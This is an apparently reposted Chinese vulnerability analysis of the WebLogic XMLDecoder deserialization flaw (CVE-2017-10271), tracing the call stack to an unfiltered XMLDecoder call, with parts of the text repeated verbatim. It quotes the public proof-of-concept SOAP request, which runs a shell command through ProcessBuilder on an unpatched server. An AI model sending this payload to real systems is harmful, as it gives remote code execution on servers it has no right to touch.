WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析
2017-12-28 00:06
309 查看
12月22号,绿盟科技博客发布一篇文章,里面有提及到weblogic由于存在0day漏洞,导致被植入恶意软件用来挖掘比特币。后来经过确认,这次攻击者所用的漏洞CVE编号为CVE-2017-10271,那么这个漏洞究竟是怎样造成的?
中间件版本: weblogic 10.3.6【未进行任何补丁修复】
发包工具: brupsuite
如下图所示,可以看到返回的是xml数据,而且可以清晰的看到调用栈,调用栈在<ns2:frame />标签中
仔细分析weblogic返回的响应,我们可以大概定位到问题点,我们重点关注<ns2:frame />标签中class以weblogic开头的部分,这部分就是weblogic处理我们请求的调用栈逻辑,weblogic处理完后就到了XMLDecoder
Step 1. 了解处理流程(为了方便查看,调用栈顺序为从上倒下)
weblogic.wsee.jaxws.workcontext.WorkContextServerTube->processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube->readHeaderOld
weblogic.wsee.jaxws.workcontext.WorkContextServerTube->receive
weblogic.workarea.WorkContextMapImpl->receiveRequest
weblogic.workarea.WorkContextLocalMap->receiveRequest
weblogic.workarea.spi.WorkContextEntryImpl->readEntry
weblogic.wsee.workarea.WorkContextXmlInputAdapter->readUTF
Step 2.下断点调试
我们将断点设置在weblogic.wsee.jaxws.workcontext.WorkContextServerTube的processRequest方法中readHeaderOld,如下图所示
Step 3.调试运行,跟踪
processRequest中,var1为我们POST的xml数据,类型为Packet;
var3的值有是var2调用get方法后得来的,我们查看一下WorkAreaConstants.WORK_AREA_HEADER的内容,如下图所示
对比Poc内容与WorkAreaContants里面的XML_TAG、WORK_AREA_HEADER,我们不难联想到var2.get方法是用来获取work:WorkContext标签之间的内容。
2.readHeaderOld中,我们直接设置断点到weblogic调用栈最后一个函数WorkContextXmlInputAdapter,查看调用函数的参数值是什么?
可以看到,var4其实对应的是java标签内的代码
3.WorkContextXmlInputAdapter中,没有任何过滤就直接调用XMLDecoder方法,而XMLDecoder本身是用于将XML文件反序列成java的对象,因而造成的漏洞的发生。
归根结底,还是weblogic犯了编码上的错误,完全信任用户的输入,然后调用XMLDecoder进行反序列,导致了这个漏洞的发生。
Weblogic WLS组件漏洞技术分析与防护方案
Weblogic XMLDecoder RCE分析
0. 分析环境
IDE:Intellij IDEA中间件版本: weblogic 10.3.6【未进行任何补丁修复】
发包工具: brupsuite
1. 漏洞成因
我们先来看一下,网上公布的poc进行利用后的weblogic返回的响应,公布的利用poc如下:<?xml version="1.0"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>gedit</string> </void> </array> <void method="start" /> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body /> </soapenv:Envelope>
如下图所示,可以看到返回的是xml数据,而且可以清晰的看到调用栈,调用栈在<ns2:frame />标签中
仔细分析weblogic返回的响应,我们可以大概定位到问题点,我们重点关注<ns2:frame />标签中class以weblogic开头的部分,这部分就是weblogic处理我们请求的调用栈逻辑,weblogic处理完后就到了XMLDecoder
Step 1. 了解处理流程(为了方便查看,调用栈顺序为从上倒下)
weblogic.wsee.jaxws.workcontext.WorkContextServerTube->processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube->readHeaderOld
weblogic.wsee.jaxws.workcontext.WorkContextServerTube->receive
weblogic.workarea.WorkContextMapImpl->receiveRequest
weblogic.workarea.WorkContextLocalMap->receiveRequest
weblogic.workarea.spi.WorkContextEntryImpl->readEntry
weblogic.wsee.workarea.WorkContextXmlInputAdapter->readUTF
Step 2.下断点调试
我们将断点设置在weblogic.wsee.jaxws.workcontext.WorkContextServerTube的processRequest方法中readHeaderOld,如下图所示
Step 3.调试运行,跟踪
processRequest中,var1为我们POST的xml数据,类型为Packet;
var3的值有是var2调用get方法后得来的,我们查看一下WorkAreaConstants.WORK_AREA_HEADER的内容,如下图所示
对比Poc内容与WorkAreaContants里面的XML_TAG、WORK_AREA_HEADER,我们不难联想到var2.get方法是用来获取work:WorkContext标签之间的内容。
2.readHeaderOld中,我们直接设置断点到weblogic调用栈最后一个函数WorkContextXmlInputAdapter,查看调用函数的参数值是什么?
可以看到,var4其实对应的是java标签内的代码
3.WorkContextXmlInputAdapter中,没有任何过滤就直接调用XMLDecoder方法,而XMLDecoder本身是用于将XML文件反序列成java的对象,因而造成的漏洞的发生。
归根结底,还是weblogic犯了编码上的错误,完全信任用户的输入,然后调用XMLDecoder进行反序列,导致了这个漏洞的发生。
参考链接
近期大量WebLogic主机感染挖矿病毒Weblogic WLS组件漏洞技术分析与防护方案
Weblogic XMLDecoder RCE分析
相关文章推荐
- 利用CVE-2017-11882漏洞利用的恶意样本分析
- 漏洞复现(CVE-2017-10271)
- weblogic系列漏洞整理 -- 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)
- Nginx range过滤器整形溢出漏洞 (CVE–2017–7529)预警分析
- CVE-2017-9805(Struts2 漏洞复现与分析)
- 安天移动安全发布“大脏牛”漏洞分析报告(CVE-2017-1000405)
- Weblogic(CVE-2017-10271)漏洞复现
- CVE-2017-8890漏洞分析与利用(Root Android 7.x)
- 技术文章 | CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞分析报告
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- 利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果
- 利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果
- (CVE-2017-10271)weblogic12.1.3.0漏洞测试与打补丁过程
- CVE-2017-12617漏洞分析
- vmware漏洞之三——Vmware虚拟机逃逸漏洞(CVE-2017-4901)Exploit代码分析与利用
- 安天移动安全发布“大脏牛”漏洞分析报告(CVE-2017-1000405)
- Supervisord远程命令执行漏洞分析(CVE-2017-11610)
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- CVE-2017-11826漏洞利用样本分析
- 通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃